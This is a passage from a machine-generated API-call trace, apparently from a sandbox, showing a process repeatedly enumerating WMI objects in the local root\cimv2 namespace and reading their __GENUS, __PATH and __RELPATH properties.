pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.302] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.303] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.303] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.303] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.303] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105780, puReturned=0x2e27944*=0x1) returned 0x0 [0067.303] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.303] IWbemClassObject:Get (in: This=0x6105780, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.304] IWbemClassObject:Get (in: This=0x6105780, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.304] IWbemClassObject:Get (in: This=0x6105780, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.304] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.304] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.304] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.304] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.304] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105918, puReturned=0x2e27944*=0x1) returned 0x0 [0067.305] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.305] IWbemClassObject:Get (in: This=0x6105918, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.305] IWbemClassObject:Get (in: This=0x6105918, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.305] IWbemClassObject:Get (in: This=0x6105918, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.305] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.305] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.306] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.306] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.306] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105ab0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.306] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.307] IWbemClassObject:Get (in: This=0x6105ab0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.307] IWbemClassObject:Get (in: This=0x6105ab0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.307] IWbemClassObject:Get (in: This=0x6105ab0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.307] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.307] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.307] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.307] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105c48, puReturned=0x2e27944*=0x1) returned 0x0 [0067.308] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.308] IWbemClassObject:Get (in: This=0x6105c48, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.308] IWbemClassObject:Get (in: This=0x6105c48, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.308] IWbemClassObject:Get (in: This=0x6105c48, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.308] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.308] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.308] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.308] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.308] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105de0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.309] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.309] IWbemClassObject:Get (in: This=0x6105de0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.309] IWbemClassObject:Get (in: This=0x6105de0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.309] IWbemClassObject:Get (in: This=0x6105de0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.309] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.309] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.309] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.309] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.309] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61069d8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.310] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.311] IWbemClassObject:Get (in: This=0x61069d8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.311] IWbemClassObject:Get (in: This=0x61069d8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.311] IWbemClassObject:Get (in: This=0x61069d8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.311] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.311] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.311] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.311] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.311] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6106b70, puReturned=0x2e27944*=0x1) returned 0x0 [0067.312] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.312] IWbemClassObject:Get (in: This=0x6106b70, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.312] IWbemClassObject:Get (in: This=0x6106b70, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.312] IWbemClassObject:Get (in: This=0x6106b70, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.312] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.312] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.312] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.312] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.312] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6106d08, puReturned=0x2e27944*=0x1) returned 0x0 [0067.313] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.313] IWbemClassObject:Get (in: This=0x6106d08, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.313] IWbemClassObject:Get (in: This=0x6106d08, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.313] IWbemClassObject:Get (in: This=0x6106d08, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.313] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.313] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.313] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.313] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6106ea0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.314] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.314] IWbemClassObject:Get (in: This=0x6106ea0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.314] IWbemClassObject:Get (in: This=0x6106ea0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.314] IWbemClassObject:Get (in: This=0x6106ea0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.314] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.314] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.314] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.315] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6107038, puReturned=0x2e27944*=0x1) returned 0x0 [0067.315] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.315] IWbemClassObject:Get (in: This=0x6107038, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.315] IWbemClassObject:Get (in: This=0x6107038, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.315] IWbemClassObject:Get (in: This=0x6107038, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.316] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.316] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.316] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.316] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.316] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61071d0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.316] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.317] IWbemClassObject:Get (in: This=0x61071d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.317] IWbemClassObject:Get (in: This=0x61071d0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.317] IWbemClassObject:Get (in: This=0x61071d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.317] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.317] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.317] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.317] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.317] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6107368, puReturned=0x2e27944*=0x1) returned 0x0 [0067.318] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.318] IWbemClassObject:Get (in: This=0x6107368, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, 